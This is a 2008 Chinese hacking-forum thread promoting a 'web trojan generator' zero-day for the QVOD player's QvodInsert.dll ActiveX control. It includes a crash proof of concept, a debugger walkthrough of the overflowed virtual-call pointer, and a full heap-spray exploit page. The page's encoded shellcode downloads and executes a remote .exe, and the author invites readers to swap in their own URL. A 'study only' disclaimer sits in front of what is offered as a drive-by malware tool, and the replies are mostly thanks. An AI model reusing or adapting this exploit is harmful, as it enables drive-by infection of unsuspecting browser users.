打印

[精品oday] 搜虎精品社区独有精品:最新的QVOD播放器网马生成器0Day

本主题由 souho 于 2008-1-9 14:12 置顶

搜虎精品社区独有精品:最新的QVOD播放器网马生成器0Day

免费内容:
说明:本软件危害巨大,仅供用于学习研究!
请勿用于非法目的,否则由此带来的一切后果由使用者负责,和搜虎精品社区无关!

目前该ODAY网上绝无仅有,不信你百度看看!经测试ODAY成功率非常高!软件刚出来的!
测试的网页文件我这里直接提供给大家,这个网页的代码具体为下:
<SCRIPT language=javascript>
function test()
{
  var a=“http://www.xxxxxx.cn,,,,,,,,,,,,,,,”;‘长度为10000个,
evil.URL=a;
}
</script>
<object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="evil" width=100 height=200></object>
<script>javascript:test();</script>
像以前发现ActiveX组件漏洞一样,object标签引入的就是出现问题的QvodInsert.dll。其中“F3D0D36F-23F8-4682-A195-74C92B03D4AF”是这个Q播组件在系统中注册的唯一序列号。而“evil.URL=a;”这句代码就是调用了QvodInsert.dll组件提供的URL接口。这个“URL”是一个组件属性所以没有使用括号。“a”是一个长度为10000字节的字符串。当我们把这个文件保存后,利用IE打开后,我们发现出现了一个读取错误,见下图:

可以看到出错的指令是:cmp byte ptr[eax],20。这句指令出错的原因就是因为eax寄存器中的内容是2c2c2c2c,这是一个非法的地址。看到这样错误,也许你想先想办法控制eax寄存器读取到一个正常的地址上去,然后看看后面程序执行到哪里,再去分析会不会有机会可以利用。可以说,这种方法是比较好的思路,但是花费的心思可不少,因为调整eax寄存器是需要时间的,你要找到可以读取的地址,然后还得观察你找到的地址赋值给eax寄存器后,会不会导致程序后面的执行又会出错,如果出错又能不能被我们利用来执行代码什么的。两个难点使得我们不得不放弃这样的思路,那么还有什么办法可以帮助我们来改变现状?现在我们测试的a是一个10000字节的字符串,那么这个a要是长度短点或者再长点又会怎样呢?这会不会让我们再次发现点什么呢?
带着我不入地狱谁入地狱的壮言,我在一遍遍的测试中终于发现了一个喜人的画面,见图:

看到那句出错的语句了吗? call  dword ptr [edx+8]出错了!而这个edx竟然是62626262,四个b!要知道这四个b是我传递给QvodInsert.dll文件的。
一旦我们控制了edx,也就能控制让call指令调用我们指定地址的函数了。
兴奋之余,我们思考一个问题,这里的call调用不是寄存器寻址,而是一个间接寻址,那么意味着call指令调用的地址是edx+8这个地址中的内容,也就假设edx+8地址中的内容为77225588,那么这个77225588才是call指令要调用的地址。要知道我们的内存是变化的,这怎么办?真是要感谢发明heap spray方法的牛人!这个方法就是通过暴力填充内存,使得内存中全是shellcode,这样一旦IE出错落到某段内存都会执行我们的shellcode。根据这个原理,我们假设先填写内存某段一直为一个地址,然后再在这个地址上填充我们的shellcode,那么IE出错后落入带有地址的空间中,而此时call指令就会取的地址,然后调用该地址,这不就又跳到我们填充的shellcode中去了吗?
明白了原理,那么利用代码就好写了,代码不长我就贴在这里了:
<html>
<body>
<object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="evil" width=100 height=200>
</object>
<script>
  var heapSprayToAddress = 0x05050505;
  var shellcode = unescape("%u9090"+"%u9090"+
"%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" +
"%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2" +
"%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b" +
"%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b" +
"%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a" +
"%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b" +
"%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40" +
"%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83" +
"%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8" +
"%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52" +
"%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff" +
"%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40" +
"%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f3a" +
"%u312f%u3732%u302e%u302e%u312e%u742f%u7365%u2f74" +
"%u2e64%u7865%u0065");
var heapBlockSize = 0x400000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
      memory = spraySlide + shellcode;
}

  try
  {    var a=new Array(813);
a=a+"7rBJ"+"aaaaaaaaaccccccccccccccccccccccccccvvvvvvvvvvvvvvvvvvvvvvvvvvvbbbbbbbbbbbbbbbbbbbbbbnnnnnnnnnnnnnnnnnnnnnnnnnnnnhhhhhhhhhhhhhhhhhhhhhhhhhh";
document.write(evil.URL=a);
  }
  catch(e){}
function getSpraySlide(spraySlide, spraySlideSize)
{
  while (spraySlide.length*2<spraySlideSize)
  {
      spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
}
</script>
</body>
</html>
其中的shellcode是一段下载并执行http://127.0.0.1/test/d.exe的代码,你可以任意修改它。而主要注意的地方是:a=a+"7rBJ"+"aa….,这里的7rBJ其实是一个地址翻译成十六进制就是0x4A427237,之所以写成这个地址是因为我们填充内存的地址存在于0x4A404040这个空间中,当call指令出错时,会先通过edx+8取出0x05050505,而这个地址却又被我们的shellcode填充着,于是程序就会乖乖的执行我们的代码了。
  让我们看看利用成功时的画面:
  
  可以说Q播的这个漏洞是一个稍有难度的漏洞,它其实也是因为过长的字符串造成程序出错,但是不是类似传统的溢出漏洞,而是一个修改了栈中保存的虚函数指针的漏洞,call指令是这里最为关键的地方,通过巧妙的两次填充,我们还是获得了控制call指令地址的机会。IE独有的内存填充在这里发挥了巨大的作用,本来我还想使用固定的代码了获得间接执行代码的机会,但是有了方便的heap spray何乐而不为之呢?
附件: 您所在的用户组无法下载或查看附件
我们尊重所有会员!只要你付出了,大家都会看在眼里!态度决定一切!
感谢您对搜虎精品社区的关注与支持!希望各位朋友帮忙一起宣传下社区!
好社区需要大家的推广~~谢谢~!!!你对社区做的贡献社区不会忘记!
搜虎精品社区宗旨:免费,共享,互帮,互助,自由,团结,精益求精!
无规矩不成方圆,请搜虎精品社区所有会员朋友珍惜您的ID!社区因你们而精彩

TOP


为了防止工具外传使得更多的人受到危害,所以对下载做了限制!
附件: 您所在的用户组无法下载或查看附件
我们尊重所有会员!只要你付出了,大家都会看在眼里!态度决定一切!
感谢您对搜虎精品社区的关注与支持!希望各位朋友帮忙一起宣传下社区!
好社区需要大家的推广~~谢谢~!!!你对社区做的贡献社区不会忘记!
搜虎精品社区宗旨:免费,共享,互帮,互助,自由,团结,精益求精!
无规矩不成方圆,请搜虎精品社区所有会员朋友珍惜您的ID!社区因你们而精彩

TOP

哈哈,这可是绝好的东西啊,沙发哦:) :) :)

TOP

估计拿了,还是用不了,哈哈
这家伙很懒,什么都没留下

TOP

11234

没有贡献直
本篇文章来源于【搜虎精品社区】[www.souho.net]->转载请以连接的形式注明出处!
网址: http://www.souho.net/viewthread.php?tid=4578&fromuid=5294




没有贡献直
本篇文章来源于【搜虎精品社区】[www.souho.net]->转载请以连接的形式注明出处!
网址: http://www.souho.net/viewthread.php?tid=4578&fromuid=5294

TOP

谢谢楼主:) :'(

TOP

哈哈 危害巨大哦 小朋友酒不要玩了 乖。。

TOP

souho33  OH,MY GOD!老大,看得俺头都晕了!直想吐血!!!看来是俺功力不足啊!俺得去进修了!
十年若未死,卷土定重来!!!

[ 本帖最后由 flyman666 于 2008-1-25 16:34 编辑 ]

TOP

KANKAN中的吗

TOP

回复 楼主 souho 的帖子

看得头都晕了,还是不懂,呵呵,不过还是想试试。

TOP

关于我们  |   联系我们  |  广告服务  |  最新动态  |  版权声明  |  网站开发  |  人才招聘  |  友情链接  |  网站地图  |  RSS订阅服务
Powered by Discuz! 6.1.0 © 2001-2007 Comsenz Inc.
---------------------------------------------------------------------------------------
搜虎精品社区所有文章为会员所发布,会员拥有该内容的所有权力及责任,转载时请注明出处!
管理员:SouHo QQ:185951958(请直击主题),MSN:souho#live.com(#改为@) 其它非本人.
拒绝任何人以任何形式在搜虎精品社区发表与中华人民共和国法律相抵触的言论!
网站备案号:鲁ICP备07503818号 青岛市公安局网警支队专项备案号:37020020080578
法律顾问:于富律师(青岛)

Copyright 2007 - 2008 Souho.Net Corporation, All Rights Reserved!      Processed in 0.052832 second(s), 9 queries, Gzip enabled.